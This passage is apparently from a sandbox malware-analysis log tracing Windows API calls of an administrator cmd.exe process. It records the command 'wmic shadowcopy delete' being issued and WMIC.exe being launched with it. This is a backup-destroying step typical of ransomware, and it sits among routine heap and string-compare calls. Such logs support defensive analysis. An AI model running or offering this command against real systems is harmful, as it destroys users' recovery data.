hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0158.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1 [0158.704] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.704] GetFileType (hFile=0x228) returned 0x3 [0158.704] _get_osfhandle (_FileHandle=0) returned 0x228 [0158.704] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.704] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.704] GetFileType (hFile=0x234) returned 0x3 [0158.704] _get_osfhandle (_FileHandle=1) returned 0x234 [0158.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24 [0158.704] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x8e844ffb68, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffb68*=0x17, lpOverlapped=0x0) returned 1 [0158.704] GetProcessHeap () returned 0x262f5940000 [0158.705] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x4012) returned 0x262f5948bb0 [0158.705] GetProcessHeap () returned 0x262f5940000 [0158.705] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5948bb0) returned 1 [0158.706] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0158.706] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0158.706] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0158.706] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0158.706] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0158.706] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0158.706] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0158.706] GetProcessHeap () returned 0x262f5940000 [0158.706] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xb0) returned 0x262f5946e30 [0158.706] GetProcessHeap () returned 0x262f5940000 [0158.706] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x1a) returned 0x262f5946c60 [0158.707] GetProcessHeap () returned 0x262f5940000 [0158.707] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x36) returned 0x262f5946ef0 [0158.708] GetConsoleOutputCP () returned 0x1b5 [0158.713] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0158.713] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.714] GetConsoleTitleW (in: lpConsoleTitle=0x8e844ff9b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0158.714] malloc (_Size=0xffce) returned 0x262f5b30840 [0158.714] ??_V@YAXPEAX@Z () returned 0x262f5b30840 [0158.714] malloc (_Size=0xffce) returned 0x262f5b40820 [0158.714] ??_V@YAXPEAX@Z () returned 0x262f5b40820 [0158.715] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0158.715] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0158.715] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0158.715] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0158.715] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0158.715] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0158.715] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0158.715] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0158.715] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0158.715] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0158.715] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0158.715] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0158.715] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0158.715] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0158.715] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0158.715] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0158.715] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0158.715] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0158.715] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0158.715] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0158.716] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0158.716] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0158.716] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0158.716] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0158.716] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0158.716] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0158.716] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0158.716] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0158.716] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0158.716] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0158.716] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0158.716] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0158.716] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0158.716] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0158.716] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0158.716] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0158.716] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0158.716] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0158.716] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0158.716] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0158.716] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0158.716] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0158.716] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0158.716] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0158.716] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0158.716] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0158.716] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0158.716] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0158.716] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0158.717] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0158.717] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0158.717] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0158.717] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0158.717] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0158.717] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0158.717] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0158.717] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0158.717] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0158.717] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0158.717] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0158.717] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0158.717] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0158.717] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0158.717] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0158.717] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0158.717] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0158.717] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0158.717] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0158.717] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0158.717] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0158.717] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0158.717] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0158.717] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0158.717] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0158.717] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0158.717] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0158.717] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0158.717] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0158.717] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0158.717] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0158.717] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0158.717] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0158.717] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0158.717] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0158.718] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0158.718] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0158.718] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0158.718] ??_V@YAXPEAX@Z () returned 0x1 [0158.718] GetProcessHeap () returned 0x262f5940000 [0158.718] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xffde) returned 0x262f5948bb0 [0158.719] GetProcessHeap () returned 0x262f5940000 [0158.719] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x40) returned 0x262f5958ba0 [0158.719] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0158.719] malloc (_Size=0xffce) returned 0x262f5b40820 [0158.719] ??_V@YAXPEAX@Z () returned 0x262f5b40820 [0158.719] GetProcessHeap () returned 0x262f5940000 [0158.719] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x1ffac) returned 0x262f595c0c0 [0158.721] SetErrorMode (uMode=0x0) returned 0x0 [0158.721] SetErrorMode (uMode=0x1) returned 0x0 [0158.721] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x262f595c0d0, lpFilePart=0x8e844ff230 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8e844ff230*="system32") returned 0x13 [0158.721] SetErrorMode (uMode=0x0) returned 0x1 [0158.721] GetProcessHeap () returned 0x262f5940000 [0158.721] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f595c0c0, Size=0x42) returned 0x262f595c0c0 [0158.721] GetProcessHeap () returned 0x262f5940000 [0158.721] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f595c0c0) returned 0x42 [0158.721] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0158.721] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0158.721] GetProcessHeap () returned 0x262f5940000 [0158.721] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x1b4) returned 0x262f5958bf0 [0158.721] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x358) returned 0x262f5958db0 [0158.722] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5958db0, Size=0x1b6) returned 0x262f5958db0 [0158.722] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5958db0) returned 0x1b6 [0158.722] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0158.722] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xe8) returned 0x262f5958f80 [0158.722] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5958f80, Size=0x7e) returned 0x262f5958f80 [0158.722] GetProcessHeap () returned 0x262f5940000 [0158.722] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5958f80) returned 0x7e [0158.722] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.724] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0158.725] GetLastError () returned 0x2 [0158.725] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.725] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0158.754] GetLastError () returned 0x2 [0158.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0158.754] GetLastError () returned 0x2 [0158.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0158.755] GetLastError () returned 0x2 [0158.755] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0x262f5959010 [0158.755] FindClose (in: hFindFile=0x262f5959010 | out: hFindFile=0x262f5959010) returned 1 [0158.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0158.776] GetLastError () returned 0x2 [0158.777] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0x262f5959010 [0158.777] FindClose (in: hFindFile=0x262f5959010 | out: hFindFile=0x262f5959010) returned 1 [0158.777] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0158.777] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0158.777] ??_V@YAXPEAX@Z () returned 0x1 [0158.777] GetConsoleTitleW (in: lpConsoleTitle=0x8e844ff520, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.267] GetProcessHeap () returned 0x262f5940000 [0159.267] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x21c) returned 0x262f5959010 [0159.267] GetConsoleTitleW (in: lpConsoleTitle=0x262f5959020, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.462] GetProcessHeap () returned 0x262f5940000 [0159.462] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5959010, Size=0xa8) returned 0x262f5959010 [0159.462] GetProcessHeap () returned 0x262f5940000 [0159.462] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5959010) returned 0xa8 [0159.462] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - wmic shadowcopy delete") returned 1 [0160.074] GetProcessHeap () returned 0x262f5940000 [0160.074] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5959010) returned 1 [0160.074] InitializeProcThreadAttributeList (in: lpAttributeList=0x8e844ff440, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8e844ff330 | out: lpAttributeList=0x8e844ff440, lpSize=0x8e844ff330) returned 1 [0160.074] UpdateProcThreadAttribute (in: lpAttributeList=0x8e844ff440, dwFlags=0x0, Attribute=0x60001, lpValue=0x8e844ff31c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8e844ff440, lpPreviousValue=0x0) returned 1 [0160.075] GetStartupInfoW (in: lpStartupInfo=0x8e844ff3d0 | out: lpStartupInfo=0x8e844ff3d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) [0160.075] GetProcessHeap () returned 0x262f5940000 [0160.075] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x20) returned 0x262f5959010 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0160.075] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0160.076] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0160.076] GetProcessHeap () returned 0x262f5940000 [0160.076] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5959010) returned 1 [0160.076] GetProcessHeap () returned 0x262f5940000 [0160.076] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x12) returned 0x262f5959010 [0160.076] _get_osfhandle (_FileHandle=1) returned 0x234 [0160.076] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0160.076] _get_osfhandle (_FileHandle=0) returned 0x228 [0160.076] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0 [0160.076] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x8e844ff360*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8e844ff338 | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0x8e844ff338*(hProcess=0x94, hThread=0x98, dwProcessId=0x388, dwThreadId=0xd4c)) returned 1 [0161.236] CloseHandle (hObject=0x98) returned 1 [0161.237] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0161.237] GetProcessHeap () returned 0x262f5940000 [0161.237] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f595b5c0) returned 1 [0161.237] GetEnvironmentStringsW () returned 0x262f5945930* [0161.237] GetProcessHeap () returned 0x262f5940000 [0161.237] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xaea) returned 0x262f595aac0 [0161.237] FreeEnvironmentStringsA (penv="=") returned 1 [0161.237] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x8e844fe838, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8e844fe838, ReturnLength=0x0) returned 0x0 [0161.237] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x6dd8b92000, lpBuffer=0x8e844fe870, nSize=0x7a0, lpNumberOfBytesRead=0x8e844fe830 | out: lpBuffer=0x8e844fe870*, lpNumberOfBytesRead=0x8e844fe830*=0x7a0) returned 1 [0161.237] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Thread: id = 100 os_tid = 0xff8 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x58949000" os_pid = "0xfbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xf9c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0xfc0 [0157.255] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6e12e0000 [0157.255] __set_app_type (_Type=0x1) [0157.255] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6e12f6d00) returned 0x0 [0157.256] __getmainargs (in: _Argc=0x7ff6e1319200, _Argv=0x7ff6e1319208, _Env=0x7ff6e1319210, _DoWildCard=0, _StartInfo=0x7ff6e131921c | out: _Argc=0x7ff6e1319200, _Argv=0x7ff6e1319208, _Env=0x7ff6e1319210) returned 0 [0157.256] _onexit (_Func=0x7ff6e12f7fd0) returned 0x7ff6e12f7fd0 [0157.256] _onexit (_Func=0x7ff6e12f7fe0) returned 0x7ff6e12f7fe0 [0157.256] _onexit (_Func=0x7ff6e12f7ff0) returned 0x7ff6e12f7ff0 [0157.256] _onexit (_Func=0x7ff6e12f8000) returned 0x7ff6e12f8000 [0157.257] _onexit (_Func=0x7ff6e12f8010) returned 0x7ff6e12f8010 [0157.257] _onexit (_Func=0x7ff6e12f8020) returned 0x7ff6e12f8020 [0157.258] GetCurrentThreadId () returned 0xfc0 [0157.258] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc0) returned 0x70 [0157.258] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe882b0000 [0157.258] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="SetThreadUILanguage") returned 0x7ffe882ca990 [0157.258] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.279] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.279] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xef9a0ffe48 | out: phkResult=0xef9a0ffe48*=0x0) returned 0x2 [0157.280] VirtualQuery (in: lpAddress=0xef9a0ffe34, lpBuffer=0xef9a0ffdb0, dwLength=0x30 | out: lpBuffer=0xef9a0ffdb0*(BaseAddress=0xef9a0ff000, AllocationBase=0xef9a000000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.280] VirtualQuery (in: lpAddress=0xef9a000000, lpBuffer=0xef9a0ffdb0, dwLength=0x30 | out: lpBuffer=0xef9a0ffdb0*(BaseAddress=0xef9a000000, AllocationBase=0xef9a000000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.280] VirtualQuery (in: lpAddress=0xef9a001000, lpBuffer=0xef9a0ffdb0, dwLength=0x30 | out: 